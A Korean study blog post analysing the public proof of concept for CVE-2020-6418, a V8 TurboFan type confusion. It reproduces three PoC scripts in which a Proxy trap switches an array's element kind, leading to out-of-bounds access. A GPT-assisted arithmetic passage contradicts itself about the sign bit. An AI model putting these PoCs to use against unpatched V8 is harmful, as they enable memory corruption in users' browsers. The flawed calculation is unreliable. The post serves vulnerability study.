지난 번의 root cause에 이어 PoC에 대해 설명해보겠습니다.
소스코드와 분석은 https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate 블로그를 참고하였습니다.
- 공부를 위한 분석이기 때문에 내용이 틀릴수도 있습니다.
PoC
PoC 소스코드는 아래와 같습니다.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[1] = 1.1, Object.prototype)
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));
분석을 시작해보면
let a = [0, 1, 2, 3, 4];
배열 선언 부분인데 이때 해당 배열을 smi 타입으로 인식하게 됩니다.
function empty() { }
내용이 없는 걸 확인할 수 있는데 이 함수의 경우 추후에 Reflect.construct를 사용할 때 생성자로서
호출이 되는데 이때 해당 함수의 내용이 없어서 조금 더 분석하기 쉽게 한 것 같습니다.
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
이 부분은 Reflect.construct(empty, arguments, p) 에서 Reflection을 이용하여 empty함수를 생성자 형태로 호출을 하고
인자로 들어온 p(new.target 역할)를 바탕으로 생성이 이뤄지는데 여기서 p가 만약 프록시(Proxy)라면 프록시의 get 트랩이
호출 될 수 있습니다.
a.pop()부분은 반환값은 사실상 a에서 마지막 요소를 꺼낸 값인데 pop의 인자 Reflect.construct(empty, arguments, p) 등은 무시되지만
pop의 인자로 Reflect.construct(empty, arguments, p) 가 들어가서 pop()의 effect chain에 Jscreate를 포함시킵니다.
reflect.construct()는 sea of nodes에서 jscreate가 되므로 rootcause에서 본 jscreate 부분이 실행됩니다.
let p = new Proxy(Object, {
get: () => (a[1] = 1.1, Object.prototype)
});
만약 get 트랩을 호출하게 된다면 a 배열의 1번 인덱스에 1.1을 넣어 타입을 변경하는 코드입니다. reflect.construct(empty,argumets, p) 호출시 프로토 타입을 조회하는 단계가 있는데 v8은 Reflect.construct(ctor, args, newTarget)를 수행할 때 newTarget.prototype(즉 p.prototype)을 찾아서 그 객체를 새로운 인스턴스의 prototype으로 설정을 합니다. 이떄 프록시의 get 트랩이 실행될 때 반환값이 곧 newTarget.prototype 역할을 하므로 만약 여기에 null이나 undefined 같은 값을 반환하면 새로운 객체의 프로토타입이 이상해지거나 기대했던 동작과 달라져 오류가 발생할수도 있으므로 안전하게 object.prototype을 반환하게 했습니다.
이렇게 된다면 해당 배열은 double 타입이지만 TurboFan은 여전히 Smi타입으로 읽어들이는 문제를 볼 수 있습니다.
실행을 시켜보면

이상한 값이 나오는 걸 볼 수 있는데
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => {
a[1] = 1.1;
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));
%debugprint를 추가해서 실행을 해봤습니다.

print 되는 부분은 get 트랩이 호출되었을 떄 기준이고
이때의 배열의 길이는 3이므로 만약 pop()를 하면 마지막 항목 즉 a[2]를 반환하게 될텐데
element의 위치를 조회해보면

우리 입장에서 봤을 땐 double형으로 바꿨기에 빨간 상자를 기준으로 0 , 1 , 2 번 인덱스의 값으로 인식하지만 TorboFan 입장에선

smi타입으로 인식하기 때문에 빨간 상자 기준으로 3번째 박스를 a[2]로 인식하게 되어 저 값이 나오게 되었던겁니다. 근데 이때 v8의 경우 정수는 2를 곱해서 메모리에 저장하기에 해당 값을 2로 나눠서 반환을 해줍니다.
계산과정을 GPT의 힘을 빌려보면
계산 과정:
0x9999999a는 10진수로 2576980378입니다.
정수를 배열에 저장할 때 2를 곱했다면, 배열에서 읽을 때는 2로 나눠야 합니다:
0x9999999a÷2=0x4ccccccd
0x4ccccccd는 부호 있는 정수로 해석할 때 음수로 표현됩니다. 이는 2의 보수법으로 처리되기 때문입니다:
0x4ccccccd의 이진수 표현:
01001100 11001100 11001100 11001101
이는 부호 있는 32비트 정수로 해석되며, 부호 비트가 0이므로 양수입니다.
이 값을 Turbofan이 부호 있는 정수(Signed Int)로 변환하면서 -858993459로 반환됩니다.

사진의 값과 같음을 알 수 있습니다. 그래서 TurboFan의 입장에선 4바이트로 접근을 하지만 배열 자체는 8바이트로 저장하는 형태로 바뀌었음으로 인덱싱을 예를 들어 1 , 2 , 3 만큼씩만 가능하다고 하였을 때 실제 양은 24바이트여야겠지만 4바이트로 계산하는 TurboFan의 경우 최대가 3이기 때문에 총 12바이트까지만 접근할 수 있게 되는 것입니다.
다음 예시는 Double 배열을 Object 배열로 바꾸는 것인데 이것은 위와 다르게 2배가 줄어드는 것이 아닌 늘어나는 예시입니다. object의 주소는 pointer compression이 적용되어 4바이트 형태로 저장되므로 배열의 원소의 크기를 8바이트에서 4바이트로 줄일 수 있습니다. 아래는 소스코드입니다.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7];
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 1.1 : 1.1);
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
main(p);
여기서 달라진 부분이 몇가지 있는데 그 부분만 확인해보면 a.pop를 통해 push를 할 공간을 만들어주고 a[1] = {}를 통해 객체 배열로 변경시킵니다. ({}는 객체를 의미함)
실행을 해보면 우선 pop이 3번 push가 3번이므로 TurboFan 입장에선 현재 get 트랩의 위치는 마지막 push 즉 a[6]에 해당하여야 합니다.

TurboFan기준

실제 기준
TurboFan 기준으론 a[6] 위치이고 실제 기준으론 a[12] , a[13]의 위치입니다. 그렇기 때문에 원래보다 2배 더 큰 위치까지 액세스할 수 있습니다.
타입을 변경하기 전의 데이터들을 사용할땐 메모리 상 값은 바뀌지 않았으므로 상관 없겠지만 이후에 추가로 push를 한다면 새로운 영역까지 OOB를 하게 되버립니다.
Comments